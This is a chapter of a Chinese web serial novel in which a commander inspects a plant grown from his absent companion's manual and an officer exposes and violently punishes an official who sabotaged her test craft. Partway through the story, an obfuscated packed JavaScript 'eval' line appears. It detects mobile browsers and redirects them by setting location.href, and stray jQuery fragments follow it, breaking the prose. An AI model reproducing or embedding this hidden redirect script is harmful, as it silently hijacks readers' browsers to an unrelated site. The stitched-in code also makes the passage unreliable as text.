朗顿如往常一般向指挥汇报工作，铺面而来一股暖风。


    指挥喜寒，是哪个马虎的把温度调高了？朗顿边解开厚毛领子边跑去调温，一根触角伸了过来，奥索抬起眼皮：“一会荣川过来。”


    荣川？扩展基地负责外星种子培育的那个荣川？


    朗顿本也记不住他，奈何这人太有心计，凭借着“指挥我有棘手之事”让他及其当日在场的众议事员想不记住都难。


    触角悬停在温控面板上，朗顿一时想不到荣川过来和温度又有什么关系？


    自从凌图小姐离开后，指挥已经好久没有笑过了，且情绪比南枝星寒季的天色更阴晴不定。朗顿捉摸不透，他折返回去，没走几步路额头上就生出了一层细细密密的汗珠。


    指挥喜洁，最看不得汗水这等肮脏污秽之物，平日零下百十度的温度，穿着这身厚重的防寒制服自然不会流汗，可现在是26度！还是零上！


    他脱下厚实的防寒制服，用手帕擦去脸上的汗水，左右嗅了嗅并无明显体味才歇了喷洒止味剂的心思。恐惹指挥不快，朗顿又拿起消毒灯照过全身各处。


    朗顿照不到自己身后，荣川恰好在此时疾行过来，见到朗顿管家，荣川急急刹停：“——朗顿管家？您这是在做什么？”


    身姿正怪异扭曲的朗顿：……


    “咳咳，没什么……你是来求见指挥的吧？等我”通报两字还没说出口，荣川笑着打断朗顿，他将肩上杠着定制长盒抬了抬，气喘嘘嘘却步履不停，唯恐指挥等急了：“不用朗顿管家通传，指挥说我过来直接去找他就好！”


    荣川消失极快，唯留下面色淡定却心口不一的朗顿：“那你快去吧！”


    不用他通传？指挥何时对别人如此过？


    奥索正在等荣川，荣川一进来，他率先看向了荣川身后的东西：“省去废话，我要听结果。”


    荣川顿了顿。


    昨夜他打了一宿腹稿，看来是又白忙活了，荣川将身后的定制5米方形保护盒打开，露出里面的高大作物，言简意赅道：“指挥请看，这就是属下培育出来的结果。”


    四米长的直立草本绿茸茸的，杆子两侧的叶片颜色更绿，叶鞘横向，看起来微有些细密绒毛不甚光滑，奥索坐在椅子上不动，听荣川描述完道：“这就是成熟态了吗？”


    荣川笃定道：“属下按照之前凌图小姐留下来的培育手册培养数日，培育温度、营养剂的配比不曾有过任何改变，属下一直严格记录着植株的生长情况，确定此时就是完整的成熟态了。”


    “你是如何确定的？因为它长得最粗壮还是最高挑？”


    幸好荣川早有准备：“并未如此。”


    奥索挑了下眉，一副等他接着说下去的模样。


    “属下按照凌图小姐的培育手册共培育了十株，属下将十株的生长进程都记录了下来，指挥请看，”密密麻麻的数据呈现在奥索眼前，“指挥面前的这一株，并不是十株里涨势最快的，可见这一株并不是最先发育的，最先发育的那一株在明显生长期过后颜色就开始从绿转黄进入衰败期，属下因此断言此时正是这颗植株的成熟期。衰败期过后植株便会化为尘埃，指挥若想一观，属下可以派人送来。”


    奥索走向地上的植株，路过荣川时。他抬了抬手：“不必，你做得很好，没有辜负我对你的期望。你想我赏赐你什么？”


    荣川大喜，拜服叩首道：“能为指挥效劳，是荣川的荣幸，荣川只求能永远替指挥分忧。”


    “有功当赏。”


    奥索赏赐了荣川一个月的带薪假期外加豪车一辆，奥索本想赏赐荣川一架飞行艇的，可惜荣川不会开。


    荣川感恩戴德的退下后，奥索俯身捏起一片绿嫩的叶脉，凌图，你不是放弃了这株小草吗？我倒要让你看看，没有你，本指挥依然可以让小草长成大草。


    你看，本指挥的手下人才济济，并不缺你一人，奥索拿起幻镜，他倒要看看凌图现在在做什么。


    幻镜下，身穿莹白色修身飞行服的凌图直挺挺地坐在人群中，她敛着目看起来沉稳安静，侧脸莹白，眼下也再无青黑色的眼圈，她当真一点都不担心没了她照顾的那株草！


    奥索汽机，将幻镜倒扣，凌图的准确方位恰好呈现在幻镜的背面，也映入了奥索眼前。


    ——星芒区飞行艇终极测试点。


    奥索神色凝重，片刻之后，仿佛被熨斗熨平的唇角不自觉扬了扬，在他透过幻镜看到自己的倒影前那道还未完全勾起的嘴角才又被生生压了下去。


    “——朗顿！”


    “指挥有何吩咐？”


    “我上次让你拷走的那个编号46实验体的检测体征密钥，你拿给我。”


    奥索将凌图离开那日的各项体征调了出来。看到凌图离开不久后显示为down的情绪，被压制的唇角才又再一次翘了起来。


    那么，她还是记挂着那颗草的，所以才会情绪不佳！


    朗顿一直留心着指挥的反应，见指挥对着46号实验体的体征许久不动，以为指挥再无指示，他便准备悄悄退开。刚挪到外间，指挥的声音响起，奥索头都没抬，再次命令道：“朗顿，出去喊蓝星来一趟。”


    指挥叫他喊蓝星过来，是要同蓝星摊牌了吗！？


    凌图小姐离开后，朗顿便一直默默期待着指挥能看清自己对凌图小姐的心意，将凌图小姐从蓝星家里抢回来，别再折磨自己也别再折磨他们这些手下。


    若真如此，可那真是太刺激了！


    朗顿关紧指挥室的大门，人设沉稳如他仍忍不住期待着蓝星尽快赶来，没等回到他的专属工位，朗顿已经找到了蓝星的联络号，只是他一连播了数次通话申请，另一端都是冰冷的机械音反复复述着“对方不再服务区……”。


    朗顿渐渐急躁，对着第四舰区的方向吼道：“蓝星！你究竟在哪？快接通申请啊！”


    “呵呵，睁大你的眼睛看清楚些，我还用申请？”


    飞行艇终极测试第二实践考场，


    蓝星冷笑着鄙夷着拦在自己身前的交通局干事，对方工作服左侧挂着一块锃光瓦亮的B级勋章，想来便是这场终极测试的主要负责人。


    可那又怎样，不过是区区B级而已。


    蓝星将亚空间里的A级勋章亮出：“现在，你可以让开了吗？”


    卡威迪跪了下来，却依旧挡在一会终极测试需要用的所有飞行艇之前，寸步不退：“长官，您……”


    “你是叫卡威迪吧？”蓝星悠悠说道：“我记得你，你不是想成为舰队一员吗？怎么，现在致力于当门童……还是你做了什么见不得人的事情怕被我发现？”


    卡威迪咬紧了下唇，直到尝到口中血腥，被一脚踹开才不得不痛苦得仰面倒去。


    一排三十驾飞行艇，一共对应参加终极测试的三十位待测试者，蓝星一一检查过眼前的所有飞行艇。目光转个圈，状似不经意朝身后的卡威迪问道：“接入系统都调试好了？”


    参加终极测试的考生在入场前，所有飞行艇都要接入本场次设定的终极测试专门模块，调试无误且精确度都在准考范围之内，才可以放考生入场。这事并没任何技术难度，可也不是所有人都有接入权限的！


    为保证公平，只有本场次的最高负责人才有调试权，也只有最高负责人知晓所有流程。


    初次负责终极测试的卡威迪也是才得知而已，蓝星是怎么知道的？


    卡威迪朝蓝星看去，就见蓝星勾勾唇，一副对所有流程都谙熟于心的样子！而他站立的身侧，恰好是编号rt-6飞行艇。


    看清蓝星站位的卡威迪却瞬间生起了一后脑勺的冷汗，他仍跪在地上，脸朝着地下的灰色地板，身子朝向蓝星站立的方向。


    别紧张，放轻松！


    不会这么巧！他不会这么快就发现的！一定是巧合！肯定是巧合！


    卡威迪心怀侥幸，蓝星却清楚地看到了卡威迪脑后的汗珠和后背制服上明显加深的颜色。


    “调、调试好了已经。”卡威迪磕磕巴巴说道。


    “哦？”蓝星一脚踹碎rt-6的操控台：“你以为我看不出来？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830433|186880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    rt-6的操控台细看同两侧的rt-5和rt-7并无分别，但蓝星他是谁？他怎会看不出rt-6的操控台比之更长更宽的间隙？


    哪怕只是仅仅0.0001的差距，也会在极限项目测试里造成难以估计的偏差，轻则测试失利，重则危机性命。


    终极测试并不是模拟测试，所有测试项目都是绝对真实。


    卡威迪已经不只是出汗那么简单了，“一定是有人从中作手脚，我只是一时失察……我……”


    他慌乱澄清然而他越澄清越出错。


    “手脚？你都不亲自看看，就知道有人做了手脚？失察？我看不是这么简单吧，这架飞行艇你安排给谁了？”


    蓝星将卡威迪拎到踹碎的rt-6面前，卡威迪的半张脸直接扎进操作台碎片里，血色模糊了原本的颜色，而他的裤腿也渐渐湿润。


    地上逐渐汇成一滩浅色尿渍，卡威迪选择闭口不言。所有考生的落座及次序编号都是随机的，只要考生没有入场，那么这一切便无从查证，可蓝星能由得了能他遂了他的心意？


    蓝星迫使卡威迪抬头看向他，他如冰似雾的眼眸里尽是寒霜，卡威迪倏然一抖，恐惧令他短暂耳鸣，他看到蓝星张了张嘴，只用那细薄的唇描画着那个再简单不过的名字。


    虽然听不到声响，可卡威迪还是听懂了他说的是——凌图。


    卡威迪慢慢闭上了眼，他也不想的，他只是太嫉妒凌图，嫉妒她的天资，嫉妒她的机缘，嫉妒她不似他这般，这么轻易就迷失了方向也丧失了本心。


    蓝星背后的触角缠过卡威迪的脖颈，越缠越用力，眼见卡威迪从最初的剧烈挣扎到已然提不起任何反抗的力气，他眼白凸着，两腮发紫，眼前拂过几道残影，有他踏入初级测试那日得知通过的志得意满，也有被局长赏识恐忝居其位的惶恐，最终他费力抬起手，摸向自己胸口的徽章。


    蓝星一字一顿，似是谐谑似是自嘲：“等级真的就那么重要吗？”


    终极测试同前面的初级测试和中级测试一样，都需要先经历笔试，考官发下试卷，坐在凌图右侧的凌舵便从怀中掏出了一支被擦拭很透的放大镜，一手持镜，看清试题后缓缓作答。


    凌图看向题目，发觉题目并不是先前那般技术类考量，而有点像性格测试又有点像职业发展测试。


    作答完毕，所有人便应该在监考官的带领下去往最终测试——毕竟在场除凌图之外，不免四战、八战、十几战的参考者，他们对于终极测试的流程早已烂熟于心。


    凌图左侧身后都传来些许窃窃私语的声音，唯独右侧依然端坐的白发老者。


    凌舵见那嫩生生的乖巧女子朝自己望来，颔首笑了笑。


    “诸位随我来。”监考官终于发话，凌图本欲跟在前面的考生后面按序走，可那老者行动迟缓，她放慢脚步：“可需要我扶您一路？”


    凌舵：“无妨。”说着凌舵从亚空间里掏出除了放大镜以外了另一台经过安全检查的机械轮椅，分分钟超过了前面一排人。


    凌图：……


    若没有见过且乘坐过指挥的臬，凌图或许会被眼前那一排排崭新且庄严的飞行艇唬住，不过此刻，凌图只想着快通过这繁杂的测试！


    前面的人陆续找到自己编号的飞行艇坐了进去，凌图一架架寻过，直到坐着轮椅的老者和之前坐在自己左侧的小伙子相继找到了rt-5和rt-7坐了进去，监考官的声音飘荡来：“——何人还站在那里？”


    “回上官，编号rt-6考生凌图尚未找到飞行艇。”


    监考官：“你等等，”他正要去下面巡查，看是否有人上错了飞行艇还是出了什么其他的状况，说来奇怪，自他来到第二考场，还一直没看到交通局派下来的负责核查工作的B级长官。后面的备用飞行艇库房骤然打开，身穿舰长制服的蓝星从里面走来，他胸口恰好挂着耀眼的B级徽章。


    蓝星一眼就在人群中找到了同样在盯着自己一眼不眨的凌图，对上她眼里写满的不解，他回以稍安目光才朗声道：“rt-6在这里。”